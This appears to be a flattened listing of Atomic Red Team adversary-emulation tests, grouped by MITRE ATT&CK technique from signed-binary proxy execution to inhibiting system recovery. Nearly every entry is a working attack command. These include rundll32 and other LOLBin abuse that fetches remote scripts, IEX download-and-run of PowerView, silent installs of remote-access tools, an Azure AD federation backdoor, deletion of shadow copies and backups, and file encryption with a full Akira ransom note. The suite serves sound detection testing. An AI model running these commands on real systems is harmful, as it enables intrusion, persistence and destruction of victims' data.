rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct").Exec();window.close();

T1218.011 - Signed Binary Proxy Execution: Rundll32

Rundll32 execute VBscript command

rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("calc.exe"),0)

T1218.011 - Signed Binary Proxy Execution: Rundll32

Rundll32 execute VBscript command using Ordinal number

rundll32 vbscript:"\..\mshtml,#135 "+String(CreateObject("WScript.Shell").Run("calc.exe"),0)

T1218.011 - Signed Binary Proxy Execution: Rundll32

Rundll32 advpack.dll Execution

rundll32.exe advpack.dll,LaunchINFSection "T1218.011\src\T1218.011.inf",DefaultInstall_SingleUser,1,

T1218.011 - Signed Binary Proxy Execution: Rundll32

Rundll32 ieadvpack.dll Execution

rundll32.exe ieadvpack.dll,LaunchINFSection "T1218.011\src\T1218.011.inf",DefaultInstall_SingleUser,1,

T1218.011 - Signed Binary Proxy Execution: Rundll32

Rundll32 syssetup.dll Execution

rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 "T1218.011\src\T1218.011_DefaultInstall.inf"

T1218.011 - Signed Binary Proxy Execution: Rundll32

Rundll32 setupapi.dll Execution

rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 "T1218.011\src\T1218.011_DefaultInstall.inf"

T1218.011 - Signed Binary Proxy Execution: Rundll32

Execution of HTA and VBS Files using Rundll32 and URL.dll

rundll32.exe url.dll,OpenURL "T1218.011\src\index.hta"
rundll32.exe URL.dll,FileProtocolHandler "T1218.011\src\akteullen.vbs"

T1218.011 - Signed Binary Proxy Execution: Rundll32

Launches an executable using Rundll32 and pcwutl.dll

rundll32.exe pcwutl.dll,LaunchApplication %windir%\System32\notepad.exe

T1218.011 - Signed Binary Proxy Execution: Rundll32

Execution of non-dll using rundll32.exe

rundll32.exe C:\Users\$env:username\Downloads\calc.png, StartW

T1218.011 - Signed Binary Proxy Execution: Rundll32

Rundll32 with Ordinal Value

rundll32.exe "T1218.010\bin\AllTheThingsx64.dll",#2

T1218.011 - Signed Binary Proxy Execution: Rundll32

Rundll32 with Control_RunDLL

rundll32.exe shell32.dll,Control_RunDLL "T1047\bin\calc.dll"

T1218.011 - Signed Binary Proxy Execution: Rundll32

Rundll32 with desk.cpl

copy %windir%\System32\calc.exe not_an_scr.scr
rundll32.exe desk.cpl,InstallScreenSaver not_an_scr.scr

T1218.011 - Signed Binary Proxy Execution: Rundll32

Running DLL with .init extension and function

rundll32.exe T1218.011\bin\_WT.init,krnl

T1218.011 - Signed Binary Proxy Execution: Rundll32

Rundll32 execute command via FileProtocolHandler

rundll32.exe url.dll,FileProtocolHandler calc.exe

T1218.011 - Signed Binary Proxy Execution: Rundll32

Rundll32 execute payload by calling RouteTheCall

rundll32.exe zipfldr.dll,RouteTheCall "'%windir%\System32\calc.exe'"

T1218 - Signed Binary Proxy Execution

mavinject - Inject DLL into running process

mavinject.exe 1000 /INJECTRUNNING "T1218\src\x64\T1218.dll"

T1218 - Signed Binary Proxy Execution

Register-CimProvider - Execute evil dll

C:\Windows\SysWow64\Register-CimProvider.exe -Path "T1218\src\Win32\T1218-2.dll"

T1218 - Signed Binary Proxy Execution

InfDefaultInstall.exe .inf Execution

InfDefaultInstall.exe "T1218\src\Infdefaultinstall.inf"

T1218 - Signed Binary Proxy Execution

ProtocolHandler.exe Downloaded a Suspicious File

FOR /F "tokens=2*" %a in ('reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe" /V PATH') do set microsoft_wordpath=%b
call "%microsoft_wordpath%\protocolhandler.exe" "ms-word:nft|u|https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218/src/T1218Test.docx"

T1218 - Signed Binary Proxy Execution

Microsoft.Workflow.Compiler.exe Payload Execution

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\microsoft.workflow.compiler.exe "T1218\src\T1218.xml" output.txt

T1218 - Signed Binary Proxy Execution

Renamed Microsoft.Workflow.Compiler.exe Payload Executions

&"..\ExternalPayloads\svchost.exe" "T1218\src\T1218.xml" output.txt

T1218 - Signed Binary Proxy Execution

Invoke-ATHRemoteFXvGPUDisablementCommand base test

Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName foo -ModulePath $PWD

T1218 - Signed Binary Proxy Execution

DiskShadow Command Execution

C:\Windows\System32\diskshadow.exe -S T1218\src\T1218.txt

T1218 - Signed Binary Proxy Execution

Load Arbitrary DLL via Wuauclt (Windows Update Client)

wuauclt.exe /UpdateDeploymentProvider "T1218\bin\calc.dll" /RunHandlerComServer

T1218 - Signed Binary Proxy Execution

Lolbin Gpscript logon option

Gpscript /logon

T1218 - Signed Binary Proxy Execution

Lolbin Gpscript startup option

Gpscript /startup

T1218 - Signed Binary Proxy Execution

Lolbas ie4uinit.exe use as proxy

copy c:\windows\system32\ie4uinit.exe %TEMP%\ie4uinit.exe
copy "T1218\src\ieuinit.inf" %TEMP%\ieuinit.inf
%TEMP%\ie4uinit.exe -BaseSettings

T1218 - Signed Binary Proxy Execution

LOLBAS CustomShellHost to Spawn Process

if (-not (Test-Path C:\test)) {
New-Item -Path C:\test -ItemType Directory
} else {
Write-Host "Directory C:\test already exists." }
Copy-Item -Path "C:\windows\system32\customshellhost.exe" -Destination "C:\test\customshellhost.exe" -Force
Copy-Item -Path "C:\windows\system32\calc.exe" -Destination "C:\test\explorer.exe" -Force
C:\test\customshellhost.exe

T1218 - Signed Binary Proxy Execution

Provlaunch.exe Executes Arbitrary Command via Registry Key

reg.exe add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1 /v altitude /t REG_DWORD /d 0
reg add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1\dummy2 /v Commandline /d calc.exe
c:\windows\system32\provlaunch.exe LOLBin

T1218 - Signed Binary Proxy Execution

LOLBAS Msedge to Spawn Process

$edgePath64 = "C:\Program Files\Microsoft\Edge\Application\msedge.exe"
if (Test-Path $edgePath64) {
$edgePath = $edgePath64
} else {
# Check 32-bit Edge installation path
$edgePath32 = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
if (Test-Path $edgePath32) {
$edgePath = $edgePath32
} else {
exit 1
}
}
& $edgePath --disable-gpu-sandbox --gpu-launcher="C:\\Windows\\System32\\calc.exe &&"
sleep 5
taskkill -f -im msedge.exe
taskkill -f -im calc.exe
taskkill -f -im win32calc.exe

T1218 - Signed Binary Proxy Execution

System Binary Proxy Execution - Wlrmdr Lolbin

wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u "C:\Windows\System32\calc.exe"

T1219 - Remote Access Software

TeamViewer Files Detected Test on Windows

Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S;
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'

T1219 - Remote Access Software

AnyDesk Files Detected Test on Windows

Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;

T1219 - Remote Access Software

LogMeIn Files Detected Test on Windows

Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Start-Process -Wait $file1 /quiet;
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"

T1219 - Remote Access Software

GoToAssist Files Detected Test on Windows

Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1"
$file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"
Start-Process $file1 /S;

T1219 - Remote Access Software

ScreenConnect Application Download and Install on Windows

$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi"
msiexec /i $installer /qn

T1219 - Remote Access Software

Ammyy Admin Software Execution

Start-Process "..\ExternalPayloads\ammyy.exe"

T1219 - Remote Access Software

RemotePC Software Execution

Start-Process "..\ExternalPayloads\RemotePC.exe"

T1219 - Remote Access Software

NetSupport - RAT Execution

Start-Process "..\ExternalPayloads\T1219_NetSupport.exe" -ArgumentList "/S /v/qn"

T1219 - Remote Access Software

UltraViewer - RAT Execution

Start-Process -Wait -FilePath "..\ExternalPayloads\T1219_UltraViewer.exe" -Argument "/silent" -PassThru
Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'

T1219 - Remote Access Software

UltraVNC Execution

Start-Process $env:ProgramFiles\'uvnc bvba\UltraVnc\vncviewer.exe'

T1219 - Remote Access Software

MSP360 Connect Execution

Start-Process $env:ProgramFiles\Connect\Connect.exe

T1219 - Remote Access Software

RustDesk Files Detected Test on Windows

$file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe"
Invoke-WebRequest -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe
Start-Process -FilePath $file "/S"

T1219 - Remote Access Software

Splashtop Execution

Start-Process "${env:programfiles(x86)}\Splashtop\Splashtop Remote\Client for STP\strwinclt.exe"

T1219 - Remote Access Software

Splashtop Streamer Execution

Start-Process -FilePath "C:Program Files (x86)\Splashtop\Splashtop Remote\Server\SRServer.exe"

T1219 - Remote Access Software

Microsoft App Quick Assist Execution

Start-Process "shell:AppsFolder\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App"

T1220 - XSL Script Processing

MSXSL Bypass using local files

"..\ExternalPayloads\msxsl.exe" "T1220\src\msxslxmlfile.xml" "T1220\src\msxslscript.xsl"

T1220 - XSL Script Processing

MSXSL Bypass using remote files

"..\ExternalPayloads\msxsl.exe" "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml" "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl"

T1220 - XSL Script Processing

WMIC bypass using local XSL file

wmic process list /FORMAT:"T1220\src\wmicscript.xsl"

T1220 - XSL Script Processing

WMIC bypass using remote XSL file

wmic process list /FORMAT:"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl"

T1221 - Template Injection

WINWORD Remote Template Injection

start "T1221\src\Calculator.docx"

T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification

Take ownership using takeown utility

takeown.exe /f %temp%\T1222.001_takeown_folder /r

T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification

cacls - Grant permission to specified user or group recursively

icacls.exe %temp%\T1222.001_cacls /grant Everyone:F

T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification

attrib - Remove read-only attribute

attrib.exe -r %temp%\T1222.001_attrib\*.* /s

T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification

attrib - hide file

mkdir %temp%\T1222.001_attrib_2 >nul 2>&1
echo T1222.001_attrib1 >> %temp%\T1222.001_attrib_2\T1222.001_attrib1.txt
echo T1222.001_attrib2 >> %temp%\T1222.001_attrib_2\T1222.001_attrib2.txt
attrib.exe +h %temp%\T1222.001_attrib_2\T1222.001_attrib1.txt
attrib.exe +h %temp%\T1222.001_attrib_2\T1222.001_attrib2.txt

T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification

Grant Full Access to folder for Everyone - Ryuk Ransomware Style

icacls "C:\Users\Public\*" /grant Everyone:F /T /C /Q

T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification

SubInAcl Execution

"C:\Program Files (x86)\Windows Resource Kits\Tools\subinacl.exe"

T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification

chmod - Change file or folder mode (numeric mode)

chmod 755 /tmp/AtomicRedTeam/atomics/T1222.002

T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification

chmod - Change file or folder mode (symbolic mode)

chmod a+w /tmp/AtomicRedTeam/atomics/T1222.002

T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification

chmod - Change file or folder mode (numeric mode) recursively

chmod -R 755 /tmp/AtomicRedTeam/atomics/T1222.002

T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification

chmod - Change file or folder mode (symbolic mode) recursively

chmod -R a+w /tmp/AtomicRedTeam/atomics/T1222.002

T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification

chown - Change file or folder ownership and group

chown root:root /tmp/AtomicRedTeam/atomics/T1222.002/T1222.002.yaml

T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification

chown - Change file or folder ownership and group recursively

chown -R root:root /tmp/AtomicRedTeam/atomics/T1222.002

T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification

chown - Change file or folder mode ownership only

chown root /tmp/AtomicRedTeam/atomics/T1222.002/T1222.002.yaml

T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification

chown - Change file or folder ownership recursively

chown -R root /tmp/AtomicRedTeam/atomics/T1222.002

T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification

chattr - Remove immutable file attribute

chattr -i /var/spool/cron/root

T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification

chflags - Remove immutable file attribute

touch /tmp/T1222.002.txt
chflags simmutable /tmp/T1222.002.txt
chflags nosimmutable /tmp/T1222.002.txt

T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification

Chmod through c script

/tmp/T1222002 /tmp/ T1222002

T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification

Chmod through c script (freebsd)

/tmp/T1222002 /tmp/ T1222002

T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification

Chown through c script

sudo /tmp/T1222002own T1222.002/src/chown.c

T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification

Chown through c script (freebsd)

/tmp/T1222002own T1222.002/src/chown.c

T1222 - File and Directory Permissions Modification

Enable Local and Remote Symbolic Links via fsutil

fsutil behavior set SymlinkEvaluation R2L:1
fsutil behavior set SymlinkEvaluation R2R:1

T1222 - File and Directory Permissions Modification

Enable Local and Remote Symbolic Links via reg.exe

reg add "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem" /v SymlinkRemoteToLocalEvaluation /t REG_DWORD /d "1" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem" /v SymlinkRemoteToRemoteEvaluation /t REG_DWORD /d "1" /f

T1222 - File and Directory Permissions Modification

Enable Local and Remote Symbolic Links via Powershell

New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToLocalEvaluation -PropertyType DWORD -Value 1 -Force -ErrorAction Ignore
New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToRemoteEvaluation -PropertyType DWORD -Value 1 -Force -ErrorAction Ignore

T1482 - Domain Trust Discovery

Windows - Discover domain trusts with dsquery

dsquery * -filter "(objectClass=trustedDomain)" -attr *

T1482 - Domain Trust Discovery

Windows - Discover domain trusts with nltest

nltest /domain_trusts
nltest /trusted_domains

T1482 - Domain Trust Discovery

Powershell enumerate domains and forests

Import-Module "..\ExternalPayloads\PowerView.ps1"
Get-NetDomainTrust
Get-NetForestTrust
Get-ADDomain
Get-ADGroupMember Administrators -Recursive
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

T1482 - Domain Trust Discovery

Adfind - Enumerate Active Directory OUs

"..\ExternalPayloads\AdFind.exe" -f (objectcategory=organizationalUnit) None

T1482 - Domain Trust Discovery

Adfind - Enumerate Active Directory Trusts

"..\ExternalPayloads\AdFind.exe" None -gcb -sc trustdmp

T1482 - Domain Trust Discovery

Get-DomainTrust with PowerView

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainTrust -Verbose

T1482 - Domain Trust Discovery

Get-ForestTrust with PowerView

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-ForestTrust -Verbose

T1482 - Domain Trust Discovery

TruffleSnout - Listing AD Infrastructure

"..\ExternalPayloads\TruffleSnout.exe" forest -n %userdomain%
"..\ExternalPayloads\TruffleSnout.exe" domain -n %userdomain%

T1484.001 - Domain Policy Modification: Group Policy Modification

LockBit Black - Modify Group policy settings -cmd

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeDC /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffsetDC /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTime /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffset /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v ShellSmartScreenLevel /t REG_SZ /d Block /f

T1484.001 - Domain Policy Modification: Group Policy Modification

LockBit Black - Modify Group policy settings -Powershell

New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force
New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force
New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force
New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force
New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force
New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name ShellSmartScreenLevel -Force

T1484.002 - Domain Trust Modification

Add Federation to Azure AD

Import-Module AzureAD
Import-Module AADInternals

$PWord = ConvertTo-SecureString -String "iamthebatman" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "bruce.wayne@contosocloud.com", $Pword

try {
Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null
}
catch {
Write-Host "Error: AzureAD could not connect"
exit 1
}

try {
$domain = Get-AzureADDomain -Name "contoso.com"
}
catch {
Write-Host "Error: domain ""contoso.com"" not found"
exit 1
}
if (-Not $domain.IsVerified) {
Write-Host "Error: domain ""contoso.com"" not verified"
exit 1
}

if ($domain.AuthenticationType -eq "Federated") {
Write-Host "Error: domain ""contoso.com"" already federated. Try with a different domain or re-create it before."
exit 1
}

$at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential
if (-Not $at) {
Write-Host "Error: AADInternals could not connect"
exit 1
}

$new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName "contoso.com"
if ($new) {
Write-Host "Federation successfully added to Azure AD"
Write-Host $new
}
else {
Write-Host "The federation setup failed"
}

Write-Host "End of federation configuration."

T1485 - Data Destruction

Windows - Overwrite file with SysInternals SDelete

if (-not (Test-Path "..\ExternalPayloads\T1485.txt")) { New-Item "..\ExternalPayloads\T1485.txt" -Force }
& "..\ExternalPayloads\Sdelete\sdelete.exe" -accepteula "..\ExternalPayloads\T1485.txt"

T1485 - Data Destruction

FreeBSD/macOS/Linux - Overwrite file with DD

dd of=/var/log/syslog if=/dev/zero count=$(ls -l /var/log/syslog | awk '{print $5}') iflag=count_bytes

T1485 - Data Destruction

Overwrite deleted data on C drive

cipher.exe /w:C:

T1485 - Data Destruction

GCP - Delete Bucket

gcloud config set project atomic-test-1
gcloud storage buckets delete gs://atomic-red-team-bucket

T1485 - Data Destruction

ESXi - Delete VM Snapshots

echo "" | "..\ExternalPayloads\plink.exe" -batch "atomic.local" -ssh -l root -pw "password" "for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/snapshot.removeall $i & done"

T1486 - Data Encrypted for Impact

Encrypt files using gpg (FreeBSD/Linux)

echo "passwd" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo AES-256 -o /tmp/passwd.gpg -c /etc/passwd

T1486 - Data Encrypted for Impact

Encrypt files using 7z (FreeBSD/Linux)

$which_7z a -ppasswd /tmp/passwd.zip /etc/passwd

T1486 - Data Encrypted for Impact

Encrypt files using ccrypt (FreeBSD/Linux)

which_ccencrypt=`which ccencrypt`
cp /etc/passwd /tmp/passwd;
$which_ccencrypt -T -K passwd /tmp/passwd

T1486 - Data Encrypted for Impact

Encrypt files using openssl (FreeBSD/Linux)

which_openssl=`which openssl`
$which_openssl genrsa -out /tmp/key.pem 2048
$which_openssl rsa -in /tmp/key.pem -pubout -out /tmp/pub.pem
$which_openssl rsautl -encrypt -inkey /tmp/pub.pem -pubin -in /etc/passwd -out /tmp/passwd.zip

T1486 - Data Encrypted for Impact

PureLocker Ransom Note

echo T1486 - Purelocker Ransom Note > %USERPROFILE%\Desktop\YOUR_FILES.txt

T1486 - Data Encrypted for Impact

Encrypt files using 7z utility - macOS

7z a -p ARTPass -mhe=on ARTArchive.7z ~/test.txt

T1486 - Data Encrypted for Impact

Encrypt files using openssl utility - macOS

openssl enc -pbkdf2 -in ~/test.txt -out ARTFile

T1486 - Data Encrypted for Impact

Data Encrypted with GPG4Win

Set-Content -Path "$env:temp\test.txt" -Value "populating this file with some text" # Create the test.txt file again in case prereqs failed
cmd /c "`"C:\Program Files (x86)\GnuPG\bin\gpg.exe`" --passphrase 'SomeParaphraseBlah' --batch --yes -c `"$env:temp\test.txt`""

T1486 - Data Encrypted for Impact

Data Encrypt Using DiskCryptor

""%PROGRAMFILES%\dcrypt"\dcrypt.exe"

T1486 - Data Encrypted for Impact

Akira Ransomware drop Files with .akira Extension and Ransomnote

1..100 | ForEach-Object { $out = new-object byte[] 1073741; (new-object Random).NextBytes($out); [IO.File]::WriteAllBytes("c:\test.$_.akira", $out) }
echo "Hi friends" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "Whatever who you are and what your title is if you' re reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption Well, for now let's keep all the tears and resentment to ourselves and try to build a constructive dialogue. We're fully aware of what damage we caused by locking your internal sources. At the moment. you have to know: " >> $env:Userprofile\Desktop\akira_readme.txt
echo "1. Dealing with us you will save A LOT due to we are not interested in ruining your financially. We will study in depth your finance, bank income statements, your savings, investments etc. and present our reasonable demand to you. If you have an active cyber insurance, let us know and we will guide you how to properly use it. Also, dragging out the negotiation process will lead to failing of a deal" >> $env:Userprofile\Desktop\akira_readme.txt
echo "2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours approximately. Our decryptor works properly on any files or systems, so you will be able to check it by requesting a test decryption service from the beginning of our conversation. [f you decide to recover on your own, keep in mind that you can permanently lose access to some files or accidently corrupt them — in this case we won't be able to help. " >> $env:Userprofile\Desktop\akira_readme.txt
echo "3. The security report or the exclusive first-hand information that you will receive upon reaching an agreement is of a great value, since NO full audit of your network will show you the vulnerabilities that we' ve managed to detect and used in order to get into. identify backup solutions and upload your data." >> $env:Userprofile\Desktop\akira_readme.txt
echo "4. As for your data, if we fail to agree, we will try to sell personal information/trade secrets/databases/source codes — generally speaking, everything that has a value on the darkmarket - to multiple threat actors at ones." >> $env:Userprofile\Desktop\akira_readme.txt
echo "Then all of this will be published in our blog -" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "https://akira.onion" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "5. We're more than negotiable and will definitely find the way to settle this quickly and reach an agreement which will satisfy both of us" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "If you' re indeed interested in our assistance and the services we provide you can reach out to us following simple instructions:" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "1. Install TOR Browser to get access to our chat room - https://www.torproject.org/download/." >> $env:Userprofile\Desktop\akira_readme.txt
echo "2. Paste this link - https://akira.onion" >> $env:Userprofile\Desktop\akira_readme.txt
echo "3. Use this code - - to log into our chat." >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "Keep in mind that the faster you will get in touch, the less damage we cause" >> $env:Userprofile\Desktop\akira_readme.txt

T1489 - Service Stop

Windows - Stop service using Service Controller

sc.exe stop spooler

T1489 - Service Stop

Windows - Stop service using net.exe

net.exe stop spooler

T1489 - Service Stop

Windows - Stop service by killing process

taskkill.exe /f /im spoolsv.exe

T1489 - Service Stop

Linux - Stop service using systemctl

sudo systemctl stop cron

T1489 - Service Stop

Linux - Stop service by killing process using killall

sudo killall -SIGTERM cron

T1489 - Service Stop

Linux - Stop service by killing process using kill

sudo kill -SIGTERM $(pgrep cron)

T1489 - Service Stop

Linux - Stop service by killing process using pkill

sudo pkill -SIGTERM ^cron$

T1489 - Service Stop

Abuse of linux magic system request key for Send a SIGTERM to all processes

echo "e" > /proc/sysrq-trigger

T1490 - Inhibit System Recovery

Windows - Delete Volume Shadow Copies

vssadmin.exe delete shadows /all /quiet

T1490 - Inhibit System Recovery

Windows - Delete Volume Shadow Copies via WMI

wmic.exe shadowcopy delete

T1490 - Inhibit System Recovery

Windows - wbadmin Delete Windows Backup Catalog

wbadmin delete catalog -quiet

T1490 - Inhibit System Recovery

Windows - Disable Windows Recovery Console Repair

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
bcdedit.exe /set {default} recoveryenabled no

T1490 - Inhibit System Recovery

Windows - Delete Volume Shadow Copies via WMI with PowerShell

Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}

T1490 - Inhibit System Recovery

Windows - Delete Backup Files

del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk

T1490 - Inhibit System Recovery

Windows - wbadmin Delete systemstatebackup

wbadmin delete systemstatebackup -keepVersions:0

T1490 - Inhibit System Recovery

Windows - Disable the SR scheduled task

schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable

T1490 - Inhibit System Recovery

Disable System Restore Through Registry

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f

T1490 - Inhibit System Recovery

Windows - vssadmin Resize Shadowstorage Volume

vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%

